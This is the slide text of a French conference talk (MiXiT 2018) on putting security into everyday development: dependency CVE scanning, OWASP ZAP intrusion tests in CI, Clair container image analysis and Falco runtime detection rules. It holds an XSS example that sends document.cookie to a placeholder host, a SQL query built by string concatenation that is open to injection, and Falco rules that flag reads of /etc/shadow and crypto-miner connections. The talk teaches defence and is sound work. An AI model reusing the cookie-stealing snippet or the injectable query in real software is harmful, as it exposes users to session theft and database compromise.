Slide 1

Slide 1 text

Intégrer la sécurité dans votre quotidien MiXiT 2018 - 19/04/2018

Slide 2

Slide 2 text

Présentation Mickael Jeanroy Houssem Belhadj Ahmed Développeur @mickaeljeanroy https://github.com/mjeanroy Développeur @7ouss3m https://github.com/houssemba

Slide 3

Slide 3 text

Pourquoi ce talk ?

Slide 4

Slide 4 text

Pourquoi ce talk ? Toutes ces entreprises ont été victime d’un vol données : - 2012 / 2016 : plus de 160 millions de comptes LinkedIn dans la nature - 2013 : 150 millions de comptes Adobe - 2016 : 80 millions de comptes dailymotion - Etc… Source : https://haveibeenpwned.com

Slide 5

Slide 5 text

Pourquoi ce talk ? Certaines failles ont touchés (et touchent encore) des millions de sites : - 2014 : Shellshock - 2014 : Heartbleed - 2017 : Meltdown - 2017 : Spectre - Etc.

Slide 6

Slide 6 text

Pourquoi ce talk ?

Slide 7

Slide 7 text

Contexte Application type “Twitter” - Mixtwitt - Spring Boot, Java 8 - AngularJS, jQuery - Docker, traefik - Intégration Continue : Jenkins

Slide 8

Slide 8 text

Mixtwitt - Continuous integration Push Build Docker Build Deploy

Slide 9

Slide 9 text

Contexte DEMO

Slide 10

Slide 10 text

Contexte

Slide 11

Slide 11 text

Etape 1 : Dépendances Première étape : nos dépendances sont-elles sûres ? - Maintenue / Éprouvée ? - Mise à jour récente ? - Affectée par une CVE connue ? Mais au fait, c’est quoi une CVE ?

Slide 12

Slide 12 text

Etape 1 : Dépendances CVE ~ Common Vulnerability Exposure - Wikipedia : Dictionnaire des informations publiques relatives aux vulnérabilités de sécurité. - Pour faire simple : c’est une vulnérabilité, connue, détaillée et exposée publiquement. - Maintenu par différents organismes

Slide 13

Slide 13 text

Etape 1 : Dépendances CVE ~ Exemple : Apache Commons FileUpload

Slide 14

Slide 14 text

Etape 1 : Dépendances CVE ~ Focus sur CVE-2016-1000031 - Apache Commons FileUpload - Très utilisée. - Souvent présente de manière transitive : plus de 1 300 artifact l’utilisent ! - Faille : Remote Code Execution - Facilement exploitable - Souvent présente dans une dépendance directe, ou transitive - Une seule solution possible : mise à jour

Slide 15

Slide 15 text

Etape 1 : Dépendances Maintenir ses dépendances à jour ? - Maven : mvn versions:display-dependency-updates - NPM : npm outdated - PHP : composer outdated - Etc. Questions : - Comment automatiser ? - Comment être averti des mises à jours ? - Mes dépendances sont-elles vulnérables ?

Slide 16

Slide 16 text

Etape 1 : Dépendances Maintenir ses dépendances à jour ?

Slide 17

Slide 17 text

Etape 1 : Dépendances Vérifier ses dépendances sur une base de CVE - Plugin Maven : OWASP Dependency-Check - Plugin NPM : retire

Slide 18

Slide 18 text

Etape 1 : Dépendances Dépendances Front -- NPM - Installation : npm install --save retire - Automatisation : npm run retire

Slide 19

Slide 19 text

Etape 1 : Dépendances Dépendances Back -- Maven - Installation : ajout du plugin dans le fichier pom.xml - Automatisation : mvn dependency-check:check

Slide 20

Slide 20 text

Etape 1 : Dépendances Push Build Docker Build Deploy Dependency check

Slide 21

Slide 21 text

Etape 1 : Dépendances DEMO https://jenkins.mr-robot.sh/job/Back-Dependency_check https://jenkins.mr-robot.sh/job/Front-Dependency_check

Slide 22

Slide 22 text

Etape 1 : Dépendances 1- Dépendances à jour

Slide 23

Slide 23 text

Etape 2 : Failles Applicatives Failles Applicatives : nombreuses possibilités... - SQL Injection - XSS ~ Cross Site Scripting - CSRF ~ Cross Site Request Forgery - Timing Attack - Remote Code Execution - Path Traversal - Etc.

Slide 24

Slide 24 text

Etape 2 : Failles Applicatives Focus sur quelques failles : SQL Injection - Détournement d’une requête SQL - Risques principaux : bypass de login, dump de la base données Exemple : SELECT id, nom FROM users WHERE login = ‘“ + login + “‘ “ AND password = ‘“ + password + “‘“

Slide 25

Slide 25 text

Etape 2 : Failles Applicatives Focus sur quelques failles : XSS ~ Cross Site Scripting - Injection de code JavaScript - Risques principaux : vol de cookies, vol de tokens, usurpation d’identité Exemple : var src = "http://domain.com/" + (document.cookie); new Image().src = src;

Slide 26

Slide 26 text

Etape 2 : Failles Applicatives Retour CTF MiXiT 2017 - Failles connues mais peu maîtrisées (SQL Injection) - Méconnaissance sur les risques (XSS, Remote Code Execution) - Peu d’assurance sur le code produit Conclusion : - Besoin d’automatisation - Besoin de vérifications au jour le jour

Slide 27

Slide 27 text

ZAP - Zed Attack Proxy - Un outil open source de l’OWASP - Il sert à trouver des failles de sécurités dans les applications web - Utilisé pour les développeurs, les débutants en sécurités, ainsi que par les professionnels - URL : https://github.com/zaproxy

Slide 28

Slide 28 text

ZAP - Zed Attack Proxy Deux modes : - Passif ○ Analyse tout le trafic entre le navigateur et l'application web. ○ Cherche les problèmes liés à la configuration (Headers de sécurité qui manquent etc.). ○ Peut être utiliser directement sur l’environnement de production (pas d’actions sur les données). - Actif ○ Utilise des attaques connues pour détecter des vulnérabilités potentielles ○ NE PAS UTILISER EN PROD OU SUR UNE APPLICATION QUE VOUS NE POSSÉDEZ PAS ! ;)

Slide 29

Slide 29 text

ZAP - Zed Attack Proxy Vérifications en mode passif : - Cookies : Secure Flag, HTTPOnly Flag - Headers : - X-XSS-Protection - X-Content-Type-Options - X-Frame-Options - Content-Security-Policy (via extension) - Exposition d’adresses “privées” - Erreurs applicatives : les messages d’erreur peuvent donner beaucoup d’informations… - Etc.

Slide 30

Slide 30 text

ZAP - Zed Attack Proxy Vérifications en mode actif : - Directory Browsing - Path Traversal - Server Side Include - Command Injection - XSS ~ Cross Site Scripting - SQL Injection - Etc.

Slide 31

Slide 31 text

ZAP - Zed Attack Proxy Push Build Docker Build Deploy Env éphémère Dependency check Test Tests d'intrusion automatisés

Slide 32

Slide 32 text

DEMO ZAP - Zed Attack Proxy

Slide 33

Slide 33 text

ZAP IS NOT A SILVER BULLET

Slide 34

Slide 34 text

Well done! But wait ... 1- Dépendances à jour 2- Tests d’intrusion

Slide 35

Slide 35 text

Etape 3: Containers Nos images sont-elles sécurisées ?

Slide 36

Slide 36 text

Docker Docker CONTAINER Java App custom-java:latest CONTAINER PHP Ubuntu:latest CONTAINER Static Files Debian:8.0 App . . . Apache

Slide 37

Slide 37 text

Docker Docker CONTAINER Java App custom-java:latest CONTAINER PHP Ubuntu:latest CONTAINER Debian:8.0 App htop sshd openssl chrome firefox Static Files Apache

Slide 38

Slide 38 text

Vulnerabilities inside docker images How common is it really?

Slide 39

Slide 39 text

Docker Hub A Study of Security Vulnerabilities on Docker Hub Rui Shu, Xiaohui Gu and William Enck North Carolina State University - Etude publiée le 22 mars 2017 de Rui Shu, Xiaohui Gu & William Enck (Université de Caroline du Nord) - > 300 000 d’images unique analysées (Avril 2016) - > 80% des images officielles sont vulnérable à des failles de sévérité élevés - Les images officielles contiennent moins de failles que les images tierces de la communauté - https://dl.acm.org/citation.cfm?id=3029832

Slide 40

Slide 40 text

Comment analyser nos images ?

Slide 41

Slide 41 text

- open source system for analyzing container images for vulnerabilities - static analysis for fast, reproducible results - extensible to allow for easy addition of new analyzers, reporters, image formats, etc - URL : https://github.com/coreos/clair

Slide 42

Slide 42 text

Clair Debian Security Bug Tracker Ubuntu CVE Tracker Red Hat Security Data ... Registrable components Third party Other components

Slide 43

Slide 43 text

Clair - Comment ça marche ? FROM node:latest # Upgrade packages RUN apt-get update && apt-get upgrade -y # Create app directory RUN mkdir -p /usr/src/app WORKDIR /usr/src/app # Install app dependencies COPY package.json /usr/src/app/ RUN npm install # Bundle app source COPY . /usr/src/app EXPOSE 8080 CMD [ "npm", "start" ] Dockerfile ● Metadata : (id, parent id, command, environment …) ● Filesystem diff : (which files have been added/modified/removed) Image Layer ● Operating system ○ /etc/os-release, /etc/apt/sources.list, … ● Package list ○ /var/lib/dpkg/status, /var/lib/rmp/Packages... For each layer, find the:

Slide 44

Slide 44 text

Clair Push Build Docker Build Deploy Dependency check Docker images analysis

Slide 45

Slide 45 text

DEMO Clair

Slide 46

Slide 46 text

Est-ce que c’est “clair” ? :)

Slide 47

Slide 47 text

Alternatives ● Quay.io ● Twistlock ● AquaSec ● Anchore ● Neuvector ● Flawcheck

Slide 48

Slide 48 text

Comment détecter une intrusion malgré toutes nos précautions ?

Slide 49

Slide 49 text

Falco - open source behavioral activity monitoring - native support for containers - URL : https://github.com/draios/falco

Slide 50

Slide 50 text

Falco - Comment ça marche ? Kernel CONTAINER 1 CONTAINER 2 APP Syscalls are turned into events with context : ● The process name performing the system call ● The process’s parents, grandparents, etc ● The remote IP address to which the process is communicating ● ... Syscalls

Slide 51

Slide 51 text

Falco - Exemples A shell is run in a container Condition: container.id != host and proc.name = bash Write to directory holding system binaries Condition: open_write and not package_mgmt_binaries and bin_dir System binary makes outbound connection Process other than skype tries to access camera Condition: evt.type = open and fd.name = /dev/video0 and proc.name != skype Condition: open_connection and proc.name in (ls, ps, mkdir, … )

Slide 52

Slide 52 text

Falco - Default rules - list: sensitive_file_names items: [/etc/shadow, /etc/sudoers, /etc/pam.conf] - macro: sensitive_files condition: > fd.name startswith /etc and (fd.name in (sensitive_file_names) or fd.directory in (/etc/sudoers.d, /etc/pam.d)) - rule: Read sensitive file untrusted desc: > an attempt to read any sensitive file (e.g. files containing user/password/authentication information). Exceptions are made for known trusted programs. condition: > sensitive_files and open_read and proc_name_exists and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries, ... output: > Sensitive file opened for reading by non-trusted program ... priority: WARNING

Slide 53

Slide 53 text

Falco - Custom rule - rule: Detect crypto miners using the Stratum protocol desc: Miners typically specify the mining pool to connect to with a URI that begins with 'stratum+tcp' condition: proc.cmdline contains stratum+tcp output: Possible miner ran inside a container (command=%proc.cmdline %container.info) priority: WARNING - list: miner_ports items: [ 3333, 4444, 8333, 7777, 7778, 3357, 3335, 8899, 8888, 5730, 5588, 8118, 6099, 9332 ] - macro: miner_port_connection condition: fd.sport in (miner_ports) - rule: Detect outbound connections to common miner pool ports desc: Miners typically connect to miner pools on common ports. condition: node_app_frontend and outbound and miner_port_connection output: "Outbound connection to common miner port (command=%proc.cmdline port=%fd.rport %container.info)" priority: WARNING

Slide 54

Slide 54 text

DEMO Falco

Slide 55

Slide 55 text

Aller plus loin ● Snyk ● Metasploit ● Shodan ● NetAttacker ● Burp

Slide 56

Slide 56 text

No content

Slide 57

Slide 57 text

MERCI ! Questions ? @mickaeljeanroy @7ouss3m